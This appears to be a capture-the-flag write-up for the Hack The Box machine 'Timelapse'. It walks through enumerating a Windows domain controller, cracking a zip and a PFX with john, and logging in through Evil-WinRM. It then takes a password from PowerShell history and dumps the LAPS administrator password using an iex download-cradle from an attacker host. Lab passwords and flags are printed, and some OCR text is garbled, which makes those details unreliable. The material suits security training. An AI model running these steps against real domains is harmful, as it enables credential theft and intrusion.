Timelapse



InfoGathering

IP: 10.129.218.88

Commands Executed
PORTS: db_nmap -sC -sV -0 -A 10.129.218.88 -oN nmap.results
DNS: dnsrecon -d timelapse.htb -t axfr -n 10.129.218.88
dig srv _ldap._tcp.dc._msdcs.timelapse.htb @10.129.218.88
SMB: nmap -p 139,445 --script=smb-os-discovery.nse,smb-mbenum.nse,smb2-capabilities.nse,smb2-security-mode.nse,smbenum-*.nse,smb-security-mode.nse,smb-protocols.nse,smb-system-info.nse,smb-print-text.nse,smb-vuln-*.nse,smb-ls.nse
LDAP: ldapsearch -LLL -x -H ldap://10.129.218.88 -b "" -s base '(objectclass=*)' > ldapsearch.txt
RPC: enum4linux -a 10.129.218.88
rpcclient 10.129.218.88 -U '' -N
> lsaquery
> getdcname domainname

SCOPE								
Hosts								
address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.129.218.88			Unknown			device		

SERVICES

Services							
host	port	proto	name	state	info		
10.129.218.88	53	tcp	domain	open	Simple DNS Plus		
10.129.218.88	88	tcp	kerberos-sec	open	Microsoft Windows K	Kerberos server time:	2022-04-04 01:21:45Z
10.129.218.88	88	udp	Kerberos	open			
10.129.218.88	135	tcp	msrpc	open	Microsoft Windows R	RPC	
10.129.218.88	139	tcp	netbios-ssn	open	Microsoft Windows n	netbios-ssn	
10.129.218.88	389	tcp	ldap	open	Microsoft Windows A	Active Directory LDAP	Domain: timelapse.htb0
10.129.218.88	445	tcp	microsoft-ds	open			
10.129.218.88	464	tcp	kpasswd5	open			
10.129.218.88	593	tcp	ncacn_http	open	Microsoft Windows R	RPC over HTTP 1.0	
10.129.218.88	636	tcp	ldapssl	open			
10.129.218.88	5986	tcp	wsmans	open			

DNS

```
🖲 kali)-[~/Bash]
    dnsrecon -d timelapse.htb -t axfr -n 10.129.218.88
[*] Checking for Zone Transfer for timelapse.htb name servers
[*] Resolving SOA Record
[+1
         SOA dc01.timelapse.htb 10.129.218.88
[+]
         SOA dc01.timelapse.htb dead:beef::7510:d8e9:745d:d5e1
[+]
         SOA dc01.timelapse.htb dead:beef::14a
[*] Resolving NS Records
[*] NS Servers found:
         NS dc01.timelapse.htb 10.129.218.88
[+]
         NS dc01.timelapse.htb dead:beef::7510:d8e9:745d:d5e1
[+]
         NS dc01.timelapse.htb dead:beef::14a
[+]
[*] Removing any duplicate NS server IP Addresses ...
[*]
[*] Trying NS server dead:beef::14a
    Zone Transfer Failed for dead:beef::14a!
    Port 53 TCP is being filtered
[*]
[*] Trying NS server 10.129.218.88
[+] 10.129.218.88 Has port 53 TCP Open
   Zone Transfer Failed (Zone transfer error: REFUSED)
[*]
[*] Trying NS server dead:beef::7510:d8e9:745d:d5e1
    Zone Transfer Failed for dead:beef::7510:d8e9:745d:d5e1!
    Port 53 TCP is being filtered
```

I added the FQDN to my /etc/hosts file

Command Executed vi /etc/hosts # Added Content 10.129.218.88 dc01.timelapse.htb

RPC Domain Name: TIMELAPSE Domain Sid: S-1-5-21-671920749-559770252-3318990721 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

LDAP

```
(root@kali)-[~/Bash]

# ldapsearch -LLL -x -H ldap://10.129.218.88 -b "" -s base '(objectclass=*)'

dn:

domainFunctionality: 7

forestFunctionality: 7

domainControllerFunctionality: 7

rootDomainNamingContext: DC=timelapse,DC=htb

ldapServiceName: timelapse.htb:dc01$@TIMELAPSE.HTB

isGlobalCatalogReady: TRUE

supportedSASLMechanisms: GSSAPI

supportedSASLMechanisms: GSS-SPNEGO

supportedSASLMechanisms: FXTERNAL
```

SMB

STATE SERVICE PORT 139/tcp open netbios-ssn _smb-enum-services: ERROR: Script execution failed (use -d to debug) 445/tcp open microsoft-ds _smb-enum-services: ERROR: Script execution failed (use -d to debug) Host script results: [_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to r smb-mbenum: ERROR: Failed to connect to browser service: Could not negotiate a smb2-security-mode: 3.1.1: Message signing enabled and required _smb-print-text: false smb2-capabilities: 2.0.2: Distributed File System 2.1: Distributed File System Leasing Multi-credit operations 3.0: Distributed File System Leasing Multi-credit operations 3.0.2: Distributed File System Leasing Multi-credit operations 3.1.1: Distributed File System Leasing Multi-credit operations smb-protocols: dialects: 2.0.2 2.1 3.0 3.0.2 3.1.1 smb-vuln-ms10-054: false

I logged in using Impacket smbclient.py and obtained a list of shares

Commands Executed
python3 /usr/share/doc/python3-impacket/examples/smbclient.py anonymous@10.129.218.88 -port 445 -no-pass
SMBCLIENT COMMANDS
shares
use Shares

SCREENSHOT EVIDENCE

shares
ADMIN\$
C\$
IPC\$
NETLOGON
Shares
SYSVOL
#
[HTB] 0:openvpn

From there I was able to enumerate the contents of "Shares"



SCREENSHOT EVIDENCE

•••••••••••••••••••••••••••••••••••••••	-						
# use Shares							
#ls							
drw-rw-rw-	0	Mon	0ct	25	11:55:14	2021	
drw-rw-rw-	0	Mon	0ct	25	11:55:14	2021	
drw-rw-rw-	0	Mon	0ct	25	15:40:06	2021	Dev
drw-rw-rw-	0	Mon	0ct	25	11:55:14	2021	HelpDesk
#							
[HTB] 0:openvpn	1:msf	2:1	ovtho	on3-	- 3:zsh*		

I then downloaded the files in the directories I have access too

SMBClient Commands Executed
cd Dev get winrm_backup.zip
cd../Helpdesk
ls
mget LAPS*

```
# cd Dev
#ls
drw-rw-rw-
                    0
                       Mon Oct 25 15:40:06 2021 .
                    Ø
                     Mon Oct 25 15:40:06 2021 ..
drw-rw-rw-
                 2611
                       Mon Oct 25 17:05:30 2021 winrm_backup.zip
-rw-rw-rw-
# get winrm_backup.zip
# cd ../Helpdesk
#ls
                       Mon Oct 25 11:55:14 2021 .
drw-rw-rw-
                    0
drw-rw-rw-
                    Ø
                       Mon Oct 25 11:55:14 2021 ..
              1118208 Mon Oct 25 11:55:14 2021 LAPS.x64.msi
-rw-rw-rw-
               104422
                       Mon Oct 25 11:55:14 2021 LAPS_Datasheet.docx
-rw-rw-rw-
                       Mon Oct 25 11:55:14 2021 LAPS_OperationsGuide.docx
-rw-rw-rw-
               641378
                       Mon Oct 25 11:55:14 2021 LAPS_TechnicalSpecification.docx
                72683
-rw-rw-rw-
# mget LAPS*
[*] Downloading LAPS.x64.msi
[*] Downloading LAPS_Datasheet.docx
[*] Downloading LAPS_OperationsGuide.docx
[*] Downloading LAPS_TechnicalSpecification.docx
#
[HTB] 0:openvpn 1:msf 2:python3- 3:python3*
```

I was able to get a user list using impacket. One of the groups enumerated is "LAPSReaders" which may indicate LAPS is used in the environment

Command Executed
python3 /usr/share/doc/python3-impacket/examples/lookupsid.py *@10.129.218.88
OR Smbclient
smbclient -U 'anonymous' //10.129.218.88/Shares -N

[*] Brute forcing SIDs at 10.129.218.88 [*] StringBinding ncacn_np:10.129.218.88[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-671920749-559770252-3318990721 498: TIMELAPSE\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: TIMELAPSE\Administrator (SidTypeUser) 501: TIMELAPSE\Guest (SidTypeUser) 502: TIMELAPSE\krbtgt (SidTypeUser) 512: TIMELAPSE\Domain Admins (SidTypeGroup) 513: TIMELAPSE\Domain Users (SidTypeGroup) 514: TIMELAPSE\Domain Guests (SidTypeGroup) 515: TIMELAPSE\Domain Computers (SidTypeGroup) 516: TIMELAPSE\Domain Controllers (SidTypeGroup) 517: TIMELAPSE\Cert Publishers (SidTypeAlias) 518: TIMELAPSE\Schema Admins (SidTypeGroup) 519: TIMELAPSE\Enterprise Admins (SidTypeGroup) 520: TIMELAPSE\Group Policy Creator Owners (SidTypeGroup) 521: TIMELAPSE\Read-only Domain Controllers (SidTypeGroup) 522: TIMELAPSE\Cloneable Domain Controllers (SidTypeGroup) 525: TIMELAPSE\Protected Users (SidTypeGroup) 526: TIMELAPSE\Key Admins (SidTypeGroup) 527: TIMELAPSE\Enterprise Key Admins (SidTypeGroup) 553: TIMELAPSE\RAS and IAS Servers (SidTypeAlias) 571: TIMELAPSE\Allowed RODC Password Replication Group (SidTypeAlias) 572: TIMELAPSE\Denied RODC Password Replication Group (SidTypeAlias) 1000: TIMELAPSE\DC01\$ (SidTypeUser) 1101: TIMELAPSE\DnsAdmins (SidTypeAlias) 1102: TIMELAPSE\DnsUpdateProxy (SidTypeGroup) 1601: TIMELAPSE\thecybergeek (SidTypeUser) 1602: TIMELAPSE\payl0ad (SidTypeUser) 1603: TIMELAPSE\legacyy (SidTypeUser) 1604: TIMELAPSE\sinfulz (SidTypeUser) 1605: TIMELAPSE\babywyrm (SidTypeUser) 1606: TIMELAPSE\DB01\$ (SidTypeUser) 1607: TIMELAPSE\WEB01\$ (SidTypeUser) 1608: TIMELAPSE\DEV01\$ (SidTypeUser) 2601: TIMELAPSE\LAPS_Readers (SidTypeGroup) 3101: TIMELAPSE\Development (SidTypeGroup) 3102: TIMELAPSE\HelpDesk (SidTypeGroup) 3103: TIMELAPSE\svc_deploy (SidTypeUser)

Contents of user.lst

payl0ad thecybergeek legacyy sinfulz babywyrm administrator

KERBEROS

Verified the users with Kerberos

```
# MSFConsole Commands Executed
use auxiliary/gather/kerbers_enumusers
set RHOSTS 10.129.218.88
set DOMAIN timelapse.htb
set USER_FILE /root/HTB/Boxes/Timelapse/user.lst
run
```

SCREENSHOT EVIDENCE

Credentials							
host 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88	origin 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88 10.129.218.88	service 	public guest administrator payl0ad thecybergeek legacyy sinfulz	private	realm	private_type	JtR Format
10.129.210.00	10.129.210.00	oo/uup (Kerberos)	Dabywyrm				

Gaining Access

The winrm_backup.zip file I downloaded from the Dev SMB share is password protected.

```
I cracked the password using john
# Commands Executed
zip2john winrm_backup.zip > crackme.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
# RESULTS
supremelegacy
```

SCREENSHOT EVIDENCE

(nnot@inli)-[~/HTB/Boxes/Timelapse]
U zip2john winrm backup.zip > crackme.txt
Created directory: /root/.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
(vont@inli)-[~/HTB/Boxes/Timelapse]
U john -wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
Using default input encoding: UFF=8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelgacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00 DONE (2022-04-03 15:09) 4.000g/s 13893Kc/s 13893Kc/s suzyqzb..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

I then used the password to unzip the file

Commands Executed unzip winrm_backup.txt Password: supremelegacy



This gave me a PFX file which can likely be used for the "legacyy" users WinRM over HTTPS authentication I cracked the PFX file password

```
# Commands Executed
pfx2john legacyy_dev_auth.pfx > crackpfx.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
# RESULTS
thuglegacy
```

SCREENSHOT EVIDENCE

—(root@kali)-[~/HTB/Boxes/Timelapse]
—# pfx2john legacyy dev auth.pfx > crackpfx.txt

(root@kali)-[~/HTB/Boxes/Timelapse]

I used the password to extract the certificates from the PFX file



SCREENSHOT EVIDENCE

```
(root@kali)-[~/HTB/Boxes/Timelapse]
    openssl pkcs12 -in legacyy dev auth.pfx -nodes -nocerts -out legacyy.key -passin pass:"thuglegacy"
    (root@kali)-[~/HTB/Boxes/Timelapse]
    openssl pkcs12 -in legacyy dev auth.pfx -nocerts -nodes -out legacyy.key -passin pass:"thuglegacy"
```

I was then able to connect to the device using Evil-WinRM and read the user flag

```
# Commands Executed
evil-winrm -S -c legacyy.cer -k legacyy.key -r timelapse.htb -u legacyy -i 10.129.218.88 -p 5986
whoami
ipconfig
hostname
type C:\Users\legacyy\Desktop\user.txt
```

```
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
Evil-WinRM* PS C:\Users\legacyy\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
  Connection-specific DNS Suffix . : .htb
  IPv6 Address. . . . . . . . . . : dead:beef::14a
  Link-local IPv6 Address . . . . : fe80::7510:d8e9:745d:d5e1%13
  Default Gateway . . . . . . . . . fe80::250:56ff:feb9:2bb5%13
                               10.129.0.1
*Evil-WinRM* PS C:\Users\legacyy\Documents> hostname
dc01
      nRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\Desktop\user.txt
2bbc1d1f489599e02e0f9cbf429ffda5
          PS C:\Users\legacyy\Documents>
[HTB] 0:openvpn 1:msf- 2:ruby3.0*
```

USER FLAG: 2bbc1d1f489599e02e0f9cbf429ffda5

PrivEsc

Earlier on I noticed a group called "LAPS_Readers" I checked it's group membership and discovered svc_deploy is the only member of that group That same user also has a user profile created on the local DC

Command Executed
Get-ADGroupMember -Group "LAPS_Readers"
dir C:\Users

Evil-WinRM PS C:	1	Jsers\legacyy\Documents> Get-ADGroupMember 'LAPS_Readers'
distinguishedName name objectClass objectGUID SamAccountName SID		CN=svc_deploy,CN=Users,DC=timelapse,DC=htb svc_deploy user 6c242c8e-8aa7-4110-8458-ee9d8d4096e0 svc_deploy S-1-5-21-671920749-559770252-3318990721-3103

Directory: C:\Users

Mode	Last	WriteTi	ime	Length	Name
d	10/23/2021	11:27	AM		Administrator
d	10/25/2021	8:22	AM		legacyy
d	10/23/2021	11:27	AM		Public
d	10/25/2021	12:23	PM		svc_deploy
d	2/23/2022	5:45	PM		TRX

WDS is likely related to WIndows Deployment Services. I verified that service is installed



SCREENSHOT EVIDENCE

<pre>*Evil-WinRM* PS C:\Users\legacyy\Documents></pre>	Get-WindowsFeature -Name WDS	
Display Name	Name	Install State
[] Windows Deployment Services	WDS	Available

I found credentials in a PowerShell history file

#	Commands	Executed		
\$e	env:APPDA1	A\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_	history.	txt

SCREENSHOT EVIDENCE

```
*Evil-WinRM* PS C:\> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

I then confirmed this gave me access as the svc_deploy user

```
# Commands Executed
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLLC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock { whoami }
```



I used the svc_deploy permissions to return the local administrator password values from Active Directory CMDLET: https://raw.githubusercontent.com/tobor88/PowerShell-Red-Team/master/Get-LdapInfo.ps1

```
# Commands Executed
evil-winrm -i 10.129.218.88 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -r timelapse.htb -S
iex (New-Object Net.WebClient).downloadString('http://10.10.14.3/Get-LdapInfo.ps1')
Get-LdapInfo -DomainControllers | Select-Object -Property 'Name', 'ms-Mcs-AdmPwd'
# RESULTS
Name: DC01
Pass: y)V3E018Kd}+-xviIgq!B0Fr
```

SCREENSHOT EVIDENCE

Evil-WinRM PS C:\Users\svc_deploy\Documents> iex (New-Object Net.WebClient).downloadString('http://10.10.14.3/Get-LdapInfo.ps1')
Evil-WinRM PS C:\Users\svc_deploy\Documents> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
Name ms-Mcs-AdmPwd
{DC01} {y)V3E018Kd}+-xviIgq!B0Fr}

I then used that password to gain administrator access and read the root flag

```
# Commands Executed
evil-winrm -i 10.129.218.88 -u Administrator -p 'y)V3E018Kd}+-xviIgq!B0Fr' -r timelapse.htb -S
type C:\Users\TMX\Desktop\root.txt
```

SCREENSHOT EVIDENCE

```
PS C:\Users\TRX\Desktop> whoami
timelapse\administrator
             PS C:\Users\TRX\Desktop> hostname
dc01
             PS C:\Users\TRX\Desktop> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix
                                        .htb
                                        dead:beef::14a
   IPv6 Address. .
   IPv6 Address.
                                        dead:beef::7510:d8e9:745d:d5e1
                                        fe80::7510:d8e9:745d:d5e1%13
   Link-local IPv6 Address
   IPv4 Address.
                                        10.129.218.88
   Subnet Mask .
                                        255.255.0.0
                                      2
                                        fe80::250:56ff:feb9:2bb5%13
   Default Gateway
                                        10.129.0.1
     -WinRM* PS C:\Users\TRX\Desktop> type root.txt
a21feb07f085f7714511a1f32ff55567
```

ROOT FLAG: a21feb07f085f7714511a1f32ff55567